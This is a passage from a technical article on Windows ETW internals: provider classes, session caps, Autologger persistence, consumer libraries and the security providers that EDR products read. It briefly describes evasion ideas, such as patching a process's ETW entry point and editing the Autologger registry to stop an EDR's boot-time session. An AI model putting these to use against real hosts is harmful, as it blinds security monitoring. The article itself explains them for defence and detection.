&lt;p&gt;The new model raised the per-provider session cap from one to eight. That single number is why Defender, CrowdStrike Falcon, SentinelOne, Sysmon, and a researcher&apos;s SilkETW tap can all read &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; [@fireeye-silketw-launch] [@fireeye-silketw-launch] from the same host today without one of them stealing events from the others.&lt;/p&gt;
&lt;p&gt;The Vista model also unified two things that had been separate. ETW providers wrote to per-CPU ring buffers; the Win32 Event Log was a different facility with its own writer, its own format, and its own consumers. Park and Buch describe the unification verbatim:&lt;/p&gt;

The new unified APIs combine logging traces and writing to the Event Viewer into one consistent, easy-to-use mechanism for event providers. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
&lt;p&gt;After Vista, a single &lt;code&gt;EventWrite&lt;/code&gt; call from a manifest-based provider lands both in the per-CPU ring buffer for ETW consumers &lt;em&gt;and&lt;/em&gt; in the &lt;code&gt;evtx&lt;/code&gt; channel for &lt;code&gt;wevtutil&lt;/code&gt; and Group Policy audit consumers, depending on how the manifest&apos;s channel mappings are configured. The &quot;Event Viewer&quot; the user sees is now a consumer of ETW.&lt;/p&gt;

The Vista-era ETW provider class. The provider author writes an XML manifest enumerating events, fields, tasks, opcodes, levels, keywords, and channels. The `mc.exe` message compiler turns the manifest into a binary resource embedded in the provider binary; `wevtutil im` registers the manifest with the system at install time. At runtime the provider calls `EventRegister` once per provider GUID and `EventWrite` per event. Capped at eight trace sessions per provider.

A logical destination for an event, declared in a manifest. The four standard channels are *Admin* (operational events for administrators), *Operational* (verbose events for operators), *Analytical* (high-volume events for diagnostics), and *Debug* (developer-only events). When the provider&apos;s `EventWrite` fires, the kernel demultiplexes by channel: events with channels enabled in the `evtx` configuration land in the corresponding channel log, while subscribed real-time consumers receive them through their session.
&lt;p&gt;The deployment pipeline for a manifest-based provider is heavier than for a classic provider. The author writes a manifest, compiles it, embeds the resource, and runs &lt;code&gt;wevtutil im&lt;/code&gt; at install time. Microsoft Learn calls out the distinction between provider registration and manifest installation [@ms-eventregister] [@ms-eventregister] explicitly, and notes that each process can register up to 1,024 providers [@ms-eventregister] [@ms-eventregister]. In practice few processes come close.&lt;/p&gt;

flowchart TD
    A[Author writes manifest.xml] --&amp;gt; B[mc.exe compiles to binary resource]
    B --&amp;gt; C[Resource embedded in provider .dll/.exe]
    C --&amp;gt; D[Installer runs wevtutil im manifest.xml]
    D --&amp;gt; E[System-wide manifest registry]
    F[Provider process at runtime] --&amp;gt; G[EventRegister GUID]
    G --&amp;gt; H[EventWrite per event]
    H --&amp;gt; I[Per-CPU ring buffer&lt;br /&gt;for ETW sessions]
    H --&amp;gt; J[Channel demux&lt;br /&gt;Admin / Operational / Analytical / Debug]
    J --&amp;gt; K[(.evtx log files)]
    I --&amp;gt; L[Real-time consumers]
    E -.decode metadata.-&amp;gt; L
    E -.decode metadata.-&amp;gt; K
&lt;p&gt;The cap rules now read like this: eight trace sessions can enable a manifest-based provider concurrently [@ms-about-etw] [@ms-about-etw]; up to 64 sessions can run on the system at once [@ms-etw-sessions] [@ms-etw-sessions]; &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt; when the per-provider cap binds [@ms-enabletraceex2] [@ms-enabletraceex2]. The 8-session number was chosen for ergonomics, not for security planning, but it is the load-bearing number in modern Windows endpoint security.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The eight-session cap on manifest-based providers is the single architectural decision that made multi-EDR coexistence on the same Windows host possible. Without it, the second EDR to subscribe to &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; would silently steal events from the first.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A 2007-era driver author shipping the inaugural &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; provider, GUID &lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;, authored a manifest declaring &lt;code&gt;ProcessStart&lt;/code&gt; (event ID 1), &lt;code&gt;ProcessStop&lt;/code&gt; (event ID 2), &lt;code&gt;ImageLoad&lt;/code&gt; (event ID 5), and so on. Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; could subscribe; the future CrowdStrike Falcon could subscribe; the future Sysmon could subscribe; the future SilkETW researchers could subscribe. None starves another. The Vista unification is the architectural enabler of the modern multi-EDR Windows endpoint.&lt;/p&gt;
&lt;p&gt;With multi-consumer concurrency solved, the next problems were authoring overhead and producer integrity. Two parallel paths branched off the Vista manifest model: TraceLogging for the first, the EtwTi PPL/ELAM gate for the second.&lt;/p&gt;
&lt;h2&gt;5. Two more provider classes: WPP for the kernel tree, TraceLogging for the app tier&lt;/h2&gt;
&lt;p&gt;Vista&apos;s manifest-based providers solved coexistence and decoding, but they were heavy to deploy. Microsoft shipped two more provider classes -- one older than Vista and one younger -- that traded manifest deployment for two different kinds of simplicity.&lt;/p&gt;
&lt;h3&gt;WPP: the C-preprocessor approach&lt;/h3&gt;
&lt;p&gt;WPP -- Windows software trace PreProcessor -- predates Vista. Community references and the Park &amp;amp; Buch description of ETW being &quot;abstracted into the Windows preprocessor (WPP) software tracing technology&quot; [@ms-park-buch-2007] place its first WDK ship in the Windows XP era; no Microsoft primary pins a specific build. It became the standard tracing facility inside the Windows kernel tree itself for years. The WDK page [@ms-wpp] [@ms-wpp] frames its purpose:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;WPP software tracing supplements and enhances WMI event tracing by adding ways to simplify tracing the operation of the trace provider. It is an efficient mechanism for the trace provider to log real-time binary messages.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A WPP provider is authored in C with macros that look like printf calls. The C preprocessor expands &lt;code&gt;DoTraceMessage(FlagId, &quot;Frobnicating widget %d&quot;, widgetId)&lt;/code&gt; into an &lt;code&gt;EventWrite&lt;/code&gt; call against an auto-generated provider GUID. Format strings are extracted at build time into a &lt;em&gt;Trace Message Format&lt;/em&gt; file embedded in the binary&apos;s &lt;code&gt;.pdb&lt;/code&gt;. The producer cost is the smallest of any ETW provider class: emitting an event is a function call plus a few stores into a buffer. There is no manifest to deploy, no XML to author.&lt;/p&gt;
&lt;p&gt;The corresponding decode cost is the highest. A WPP event arrives at the consumer as a binary payload referencing a TMF identifier. To turn that into a human-readable message the consumer needs the producer&apos;s &lt;code&gt;.pdb&lt;/code&gt; file. If you do not have the symbols for the binary that emitted the event, you do not know what the event means.&lt;/p&gt;
&lt;p&gt;That decode cost is why WPP did not become the EDR substrate. Sealighter&apos;s README puts the operational consequence verbatim:&lt;/p&gt;

A C-preprocessor-based ETW authoring path inherited from the XP-era WDK. Format strings are extracted to a TMF resource that lives in the producer&apos;s `.pdb`. Producer cost is minimal; decode cost requires the producer&apos;s symbol files. WPP providers inherit the classic one-session-per-provider cap and are pervasively used inside Windows itself for in-tree dev-time tracing.
&lt;blockquote&gt;
&lt;p&gt;&quot;WPP traces compounds the issues, providing almost no easy-to-find data about provider and their events.&quot; -- Sealighter README [@gh-sealighter] [@gh-sealighter]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;WPP providers also inherit the classic one-session-per-provider cap [@ms-about-etw] [@ms-about-etw], which would have made them unworkable for multi-EDR consumption even if the decode problem were solved. So WPP became the kernel-tree internal tracing facility -- ubiquitous inside Microsoft&apos;s source tree, irrelevant outside it.&lt;/p&gt;
&lt;h3&gt;TraceLogging: schema in the payload&lt;/h3&gt;
&lt;p&gt;Eight years after Vista, in Windows 10 (2015), Microsoft shipped a parallel path that solved a different problem. TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about] keeps the eight-session cap of manifest providers but eliminates the manifest deployment burden:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;TraceLogging is a system for logging events that can be decoded without a manifest.&quot; -- Microsoft Learn, About TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A TraceLogging event carries its own schema inline. The event payload is a sequence of typed-length-value triples: a one-byte type tag, a length, and the data. A consumer that has never seen the provider before can still decode the event because the names and types of every field are &lt;em&gt;in the event&lt;/em&gt;. The provider author needs no XML manifest, no &lt;code&gt;mc.exe&lt;/code&gt;, no &lt;code&gt;wevtutil im&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The trade-off is per-event size. Inline schema strings cost bytes per event. For a high-volume provider emitting millions of events per minute, the per-event size matters and a manifest-based provider is correct. For a new component author who wants tracing without an install-time deployment dance, TraceLogging is the right answer.&lt;/p&gt;

A self-describing ETW provider class shipped in Windows 10. Schema is inline in each event payload as type-length-value triples; consumers decode without a manifest. Available from C/C++ via `TraceLoggingProvider.h`, from .NET via `EventSource` with `EtwSelfDescribingEventFormat`, and from WinRT via `LoggingChannel`. Inherits the eight-session cap from the manifest-based class.
&lt;p&gt;TraceLogging is also the unified path across runtimes. The same self-describing payload format is emitted from native C/C++, from .NET (when an &lt;code&gt;EventSource&lt;/code&gt; opts into &lt;code&gt;EtwSelfDescribingEventFormat&lt;/code&gt;), and from kernel-mode drivers [@ms-tracelogging-portal] [@ms-tracelogging-portal]. A consumer using TDH (the Trace Data Helper API) decodes them without distinguishing between the runtime that emitted them.&lt;/p&gt;
&lt;h3&gt;Four classes, four trade-offs&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;First Shipped&lt;/th&gt;
&lt;th&gt;Schema Location&lt;/th&gt;
&lt;th&gt;Sessions/Provider&lt;/th&gt;
&lt;th&gt;Decode without symbols/manifest?&lt;/th&gt;
&lt;th&gt;Best for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MOF / classic&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;WMI repository (&lt;code&gt;mofcomp&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Needs MOF&lt;/td&gt;
&lt;td&gt;Legacy components; NT Kernel Logger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPP&lt;/td&gt;
&lt;td&gt;~2002&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.pdb&lt;/code&gt; (TMF)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;No -- needs producer PDB&lt;/td&gt;
&lt;td&gt;In-tree Windows kernel dev-time tracing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manifest-based&lt;/td&gt;
&lt;td&gt;2007 (Vista)&lt;/td&gt;
&lt;td&gt;XML manifest, system-installed&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Needs installed manifest&lt;/td&gt;
&lt;td&gt;Shipping security telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TraceLogging&lt;/td&gt;
&lt;td&gt;2015 (Win10)&lt;/td&gt;
&lt;td&gt;Inline TLV in payload&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;New apps and services; cross-runtime&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sources for the table: [@ms-about-etw, @ms-etw-config, @ms-tracelogging-about, @ms-wpp].&lt;/p&gt;

For new shipping Windows components with a known event vocabulary and high volume, choose manifest-based: smallest per-event size, evtx integration, eight-consumer concurrency. For new cross-runtime open-source providers where deployment friction matters, choose TraceLogging: same eight-consumer concurrency, no XML to author, decodable everywhere. For in-source-tree dev-time tracing inside a binary you already have symbols for, WPP is fine. For new security-relevant providers, never choose classic: the one-session cap is structurally incompatible with multi-EDR coexistence.
&lt;p&gt;Four provider classes, four trade-offs. But every one of them shares a structural weakness: the producer fires from inside the calling process, and any code in that process can patch the runtime entry-point and silence the provider for itself. That is the weakness Adam Chester made famous in 2020, and the one EtwTi was built to defeat.&lt;/p&gt;
&lt;h2&gt;6. Sessions, buffers, and the autologger registry: where the telemetry actually lives&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;regedit&lt;/code&gt; on a Windows host and navigate to &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger&lt;/code&gt;. You are looking at the persistence surface of every trace session that survives a reboot on this machine -- and the persistence surface every modern EDR uses to install itself.&lt;/p&gt;
&lt;p&gt;A session is the unit ETW actually exposes to controllers. It owns a per-session pool of buffers, a writer thread, a destination (file or real-time consumer), and a list of providers it has subscribed to. The lifecycle is short. A controller fills out an &lt;code&gt;EVENT_TRACE_PROPERTIES&lt;/code&gt; structure [@ms-event-trace-props] [@ms-event-trace-props] with a session name, buffer size, logging mode, and destination, then calls &lt;code&gt;StartTrace&lt;/code&gt;. The kernel allocates the buffers -- at least two per logical processor [@ms-event-trace-props] [@ms-event-trace-props] -- and returns a session handle. The controller then calls &lt;code&gt;EnableTraceEx2&lt;/code&gt; [@ms-enabletraceex2] [@ms-enabletraceex2] for each provider it wants to subscribe to, passing &lt;code&gt;EVENT_CONTROL_CODE_ENABLE_PROVIDER&lt;/code&gt; along with the provider GUID, level, and keyword bitmask.&lt;/p&gt;
&lt;p&gt;If the provider&apos;s per-class session cap is already saturated, &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt;. If the caller lacks the privilege to enable that provider, it returns &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. We will see both error codes again later, on different paths.The default buffer size sweet spot is small. The Microsoft Learn primary states it explicitly: &quot;Trace sessions with large buffers (256KB or larger) should be used only for diagnostic investigations or testing, not for production tracing.&quot; [@ms-event-trace-props] Production session buffer sizes typically sit in the 32-64KB range.&lt;/p&gt;
&lt;p&gt;There are three logging modes. &lt;em&gt;File mode&lt;/em&gt; writes events to a sequential &lt;code&gt;.etl&lt;/code&gt; file on disk; the writer thread drains buffers to disk and the file grows. &lt;em&gt;Circular mode&lt;/em&gt; writes to a fixed-size file in a circular buffer; old events are overwritten when the file fills. &lt;em&gt;Real-time mode&lt;/em&gt; delivers events to a real-time consumer process via a kernel callback. Defender, EDR sensors, and Sysmon all use real-time mode for their hot paths; they may also write to file as a forensic backup.&lt;/p&gt;

A process that calls `OpenTrace` with `LogFileMode = EVENT_TRACE_REAL_TIME_MODE` and receives events live via a registered callback rather than from an `.etl` file on disk. Real-time consumers must keep up with producer rate or events are lost.
&lt;p&gt;The autologger registry path is what makes a session survive a reboot. A subkey under &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&amp;lt;SessionName&amp;gt;&lt;/code&gt; defines a session that the kernel starts at boot, before most user-mode services are running. Each subkey&apos;s values configure the session: &lt;code&gt;BufferSize&lt;/code&gt;, &lt;code&gt;MaximumBuffers&lt;/code&gt;, &lt;code&gt;LogFileMode&lt;/code&gt;, &lt;code&gt;FileName&lt;/code&gt;, plus a nested &lt;code&gt;&amp;lt;SessionName&amp;gt;\&amp;lt;ProviderGuid&amp;gt;&lt;/code&gt; subkey for each provider to enable.&lt;/p&gt;

A registry-persisted boot-time ETW session. The kernel reads `HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\` at boot, creates the session, enables the configured providers, and begins capture before user-mode services start. Defender&apos;s Sense agent, CrowdStrike&apos;s Falcon sensor, and Sysmon&apos;s driver all install autologgers here.
&lt;p&gt;Defender&apos;s &lt;code&gt;DiagTrack&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Diagnosis-PCW&lt;/code&gt;, the SQM kernel logger, the EventLog-Application channel autologger -- all live here (observable via &lt;code&gt;logman query -ets&lt;/code&gt; on a stock Windows install). Third-party EDRs add their own. The Palantir CIRT taxonomy [@palantir-tampering-wayback] (about which more in section 11) frames this registry surface as the persistent-tampering target: an attacker who can write to this subtree can disable an EDR&apos;s boot-time tracing without ever interacting with the running EDR process. The events of interest never get captured because the session never starts.&lt;/p&gt;
&lt;p&gt;There is a related concept worth naming: the &lt;em&gt;Global Logger&lt;/em&gt;. This is a special autologger session whose configuration lives in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger&lt;/code&gt;. It is the boot-time tracing path that comes online before any user-mode service, including before Sense and the EDR sensor. It exists to capture early-boot kernel events that no later session can record.&lt;/p&gt;

flowchart TD
    R[HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\] --&amp;gt; S1[DiagTrack-Listener]
    R --&amp;gt; S2[Defender-Listener]
    R --&amp;gt; S3[ThirdPartyEDR-Sensor]
    R --&amp;gt; SG[GlobalLogger]
    S2 --&amp;gt; S2P[Provider GUIDs subkeys]
    S2 --&amp;gt; S2C[BufferSize / MaximumBuffers / LogFileMode]
    S2 --&amp;gt; S2F[FileName=.etl path]
    S2P --&amp;gt; KS[Kernel reads at boot]
    S2C --&amp;gt; KS
    S2F --&amp;gt; KS
    KS --&amp;gt; Started[Session started before user-mode services]
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;logman query -ets&lt;/code&gt; enumerates every live trace session on the host. Cross-reference against the subkeys in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; to find sessions configured to start at boot. Any unauthorised entry -- a session you do not recognise, an autologger pointed at a destination outside your EDR&apos;s data path, a provider GUID you cannot account for -- belongs in your incident response queue. We return to this in section 14.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt; from &lt;code&gt;EnableTraceEx2&lt;/code&gt; is the runtime symptom of the eight-session cap binding [@ms-enabletraceex2]. SOC engineers debugging multi-EDR coexistence problems should look for it in their sensor&apos;s diagnostic output. Eight subscribers per manifest provider is enough for the typical Defender + third-party EDR + Sysmon + research tap arrangement, but a host running multiple research-mode tracers can saturate it.&lt;/p&gt;
&lt;p&gt;Persistence solved: a session the OS starts at every boot. But who reads it? That requires a consumer process, and consumers are where the architecture forks along the security spectrum.&lt;/p&gt;
&lt;h2&gt;7. Consumer architecture: from &lt;code&gt;OpenTrace&lt;/code&gt; to KrabsETW to a 30-line process watcher&lt;/h2&gt;
&lt;p&gt;The consumer side of ETW is mechanically simple -- three calls to open a trace, register a callback, and process events -- but the choice of library tells you almost everything about what kind of EDR you are building.&lt;/p&gt;
&lt;p&gt;The native pattern is three Win32 calls. &lt;code&gt;EnableTraceEx2&lt;/code&gt; subscribes the session to a provider GUID with a level and keyword bitmask. &lt;code&gt;OpenTrace&lt;/code&gt; returns a handle on the session for consumption. &lt;code&gt;ProcessTrace&lt;/code&gt; blocks the calling thread, drains events from the kernel&apos;s per-CPU buffers, and dispatches each one to a registered callback. Each event arrives as an &lt;code&gt;EVENT_RECORD&lt;/code&gt; containing a header (provider GUID, event ID, level, keyword, opcode, timestamp, process ID, thread ID) and a payload that the consumer decodes.&lt;/p&gt;
&lt;p&gt;For manifest providers the consumer decodes via TDH (the Trace Data Helper API) against the system-installed manifest. For TraceLogging providers the consumer decodes from the inline TLV payload. For classic and WPP providers the consumer needs the MOF schema or the producer&apos;s PDB respectively.&lt;/p&gt;

The Win32 decoder API that turns a raw `EVENT_RECORD` payload into typed fields, using the registered manifest as the schema source. `TdhGetEventInformation` returns a `TRACE_EVENT_INFO` structure with the field names, types, and offsets; `TdhFormatProperty` extracts each field. TDH is what makes manifest events self-describing at the consumer end, even though the schema lives out of band.

sequenceDiagram
    participant C as Consumer process
    participant K as Kernel ETW subsystem
    participant P as Provider process
    C-&amp;gt;&amp;gt;K: StartTrace(session)
    C-&amp;gt;&amp;gt;K: EnableTraceEx2(session, providerGuid, level, keyword)
    K--&amp;gt;&amp;gt;P: Provider notified to begin emitting
    C-&amp;gt;&amp;gt;K: OpenTrace(session)
    K--&amp;gt;&amp;gt;C: TraceHandle
    C-&amp;gt;&amp;gt;K: ProcessTrace(handle) [blocking]
    P-&amp;gt;&amp;gt;K: EventWrite(payload)
    K--&amp;gt;&amp;gt;C: callback(EVENT_RECORD)
    P-&amp;gt;&amp;gt;K: EventWrite(payload)
    K--&amp;gt;&amp;gt;C: callback(EVENT_RECORD)
    Note over C,K: ProcessTrace returns only when session ends
&lt;p&gt;In production almost no one writes the raw three-call pattern. The library universe settled into a small set of widely-used wrappers, and the choice of wrapper maps almost one-to-one onto the kind of EDR the engineering team is building.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;krabsetw&lt;/strong&gt; [@gh-krabsetw] [@gh-krabsetw] is a Microsoft-authored C++ library that simplifies session and provider management. Its README explicitly notes the production caller: a C++/CLI wrapper called &lt;code&gt;Microsoft.O365.Security.Native.ETW&lt;/code&gt;, &quot;used in production by the Office 365 Security team. It&apos;s affectionately referred to as Lobsters.&quot; If you are building an in-house EDR or a security analytics pipeline in C++ on Windows, krabsetw is the default choice.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/strong&gt; [@nuget-traceprocessing] [@nuget-traceprocessing] is the general-purpose .NET ETW library, distributed as a NuGet package and used heavily inside the .NET diagnostics community. Microsoft&apos;s separate &lt;code&gt;Microsoft.Windows.EventTracing.Processing.All&lt;/code&gt; package is the .NET TraceProcessing API [@ms-etw-portal] [@ms-etw-portal] that the Windows engineering team uses internally to analyze ETW data from the Windows engineering system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SilkETW&lt;/strong&gt; [@gh-silketw] [@gh-silketw], originally released by Ruben Boonen at FireEye in March 2019 [@fireeye-silketw-launch] [@fireeye-silketw-launch] (now maintained by Mandiant), wraps &lt;code&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/code&gt; to expose ETW telemetry to detection-engineering and threat-hunting workflows. SilkETW is the canonical &quot;blue team research&quot; consumer: the tool you reach for when you want to see what events a provider actually emits without writing C++.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sealighter&lt;/strong&gt; [@gh-sealighter] [@gh-sealighter], by &lt;code&gt;pathtofile&lt;/code&gt;, is a krabsetw-wrapping C++ tool that makes multi-provider subscription and filtering tractable from a JSON config. The README states: &quot;Sealighter leverages the feature-rich Krabs ETW Library to enable detailed filtering and triage of ETW and WPP Providers and Events.&quot; Sealighter is the canonical &quot;red/blue team triage&quot; consumer: more flexible than SilkETW, less code to write than raw krabsetw.&lt;/p&gt;
&lt;p&gt;The pitfalls are universal across all four libraries. The krabsetw README spells two of them out:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The call to &apos;start&apos; on the trace object is blocking so thread management may be necessary.&quot; -- [@gh-krabsetw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Throwing exceptions in the event handler callback ... will cause the trace to stop processing events.&quot; -- [@gh-krabsetw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Both have caused real production outages. An EDR that throws an unhandled exception in its event callback dies silently as an ETW consumer, and the next event the provider emits goes nowhere.The &quot;throwing in the callback stops the trace&quot; pitfall is the gotcha that bites every team writing their first ETW consumer. The kernel does not catch the exception; the trace simply ends. A production-quality consumer wraps every callback in try/catch (or its language equivalent) and routes failures through a side channel, not through the trace itself.&lt;/p&gt;
&lt;p&gt;To make the structure concrete, here is what a 30-line &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; real-time consumer looks like, written in TypeScript pseudocode that mirrors the structure a Sealighter or krabsetw user would write:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: the structure of a krabsetw / Sealighter consumer
// for the Microsoft-Windows-Kernel-Process provider.&lt;/p&gt;
&lt;p&gt;const KERNEL_PROCESS_GUID = &quot;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&quot;;&lt;/p&gt;
&lt;p&gt;const session = new UserTraceSession(&quot;MyEdrSensor&quot;);&lt;/p&gt;
&lt;p&gt;const provider = new Provider(KERNEL_PROCESS_GUID);
provider.level = TraceLevel.Information;
provider.anyKeyword = 0xFFFFFFFFFFFFFFFFn;&lt;/p&gt;
&lt;p&gt;provider.onEvent = (event) =&amp;gt; {
  try {
    switch (event.id) {
      case 1: // ProcessStart
        const pid = event.fields.ProcessID;
        const imageName = event.fields.ImageName;
        const cmdLine = event.fields.CommandLine;
        console.log(`Process start pid=${pid} image=${imageName}`);
        break;
      case 2: // ProcessStop
        console.log(`Process stop pid=${event.fields.ProcessID}`);
        break;
      case 5: // ImageLoad
        console.log(`Image load ${event.fields.ImageName} into pid=${event.fields.ProcessID}`);
        break;
    }
  } catch (e) {
    // never let an exception escape the callback
    sideChannelLog(e);
  }
};&lt;/p&gt;
&lt;p&gt;session.enable(provider);
session.start();  // blocks until session.stop() is called
`}&lt;/p&gt;
&lt;p&gt;That code, in production form, is a working EDR sensor&apos;s process watcher. Every commercial Windows EDR has something with the same structure inside it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; krabsetw wraps the C++ surface and is the default for production in-house EDRs. TraceEvent wraps .NET and is the default for diagnostics tooling. SilkETW exposes ETW to detection engineers without C++. Sealighter wraps krabsetw with a config file for triage. Pick the library that matches the team that will own the consumer, not the one that looks most powerful.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is what Sysmon, Wazuh, and Elastic Defend look like under the hood -- a SYSTEM-privileged user-mode service consuming public providers. But there is one provider this code cannot subscribe to. Try it and &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. The next two sections are about the GUID that requires a passport.&lt;/p&gt;
&lt;h2&gt;8. The security provider catalogue: what EDRs actually read&lt;/h2&gt;
&lt;p&gt;There are roughly 1,300 manifest-based providers shipped on a 2026 Windows 11 24H2 install -- the community-maintained jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the count across builds, and the repnz manifest archive [@gh-repnz] [@gh-repnz] holds byte-stable copies of the manifests for cross-version diffing. Eight of those providers carry almost all the security telemetry the EDR vendors read. This is the catalogue.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Security-Auditing&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{54849625-5478-4994-A5BA-3E3B0328C30D}&lt;/code&gt;. The audit-policy-driven Security event log producer. Event ID 4624 (logon), 4625 (failed logon), 4634 (logoff), 4688 (process create with command line) [@learn-microsoft-com-event-4688] [@ms-event-4624], 4689 (process exit), and the broader subcategory audit policy events. This is the closure for the legacy Security event log: when an administrator turns on &quot;audit logon events&quot; in the local security policy, this is the provider that emits the events. EDRs that consume it are reading the same stream the Event Viewer&apos;s Security log shows.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;. The canonical real-time process telemetry source for non-PPL EDR. Event ID 1 fires on &lt;code&gt;ProcessStart&lt;/code&gt; with PID, parent PID, image name, command line, and SID; event ID 2 on &lt;code&gt;ProcessStop&lt;/code&gt;; event ID 3 on thread create; event ID 4 on thread exit; event ID 5 on &lt;code&gt;ImageLoad&lt;/code&gt; with the loaded module name and base address. SilkETW&apos;s launch post enumerates the event record format inline [@fireeye-silketw-launch] [@fireeye-silketw-launch]. This provider is widely cited in EDR community documentation as available since Windows 7, though no Microsoft primary pins the exact build.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Kernel-File&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Kernel-Network&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Kernel-Registry&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The per-subsystem siblings of &lt;code&gt;Kernel-Process&lt;/code&gt;. &lt;code&gt;Kernel-File&lt;/code&gt; surfaces file open / close / read / write / delete operations with the file path and the operating PID. &lt;code&gt;Kernel-Network&lt;/code&gt; surfaces TCP and UDP send / receive with the local and remote endpoints. &lt;code&gt;Kernel-Registry&lt;/code&gt; surfaces registry create / open / set value / delete with the key path and value name. All three use the manifest-based class and inherit the eight-session cap. EDRs that want full-fidelity per-syscall telemetry without writing kernel callbacks subscribe to these three.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt;, documented in the Microsoft Learn AMSI portal [@ms-amsi-portal] [@ms-amsi-portal] and surveyed in the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback]. This is the ETW provider that surfaces AMSI scan results: a script block submitted by PowerShell, JScript, VBA, an Office macro engine, or any other AMSI client comes through here &lt;em&gt;after deobfuscation&lt;/em&gt;. Whatever string the script engine is about to execute, the registered antimalware engine sees in plaintext, and the result of the scan is published via this provider for any listener.&lt;/p&gt;

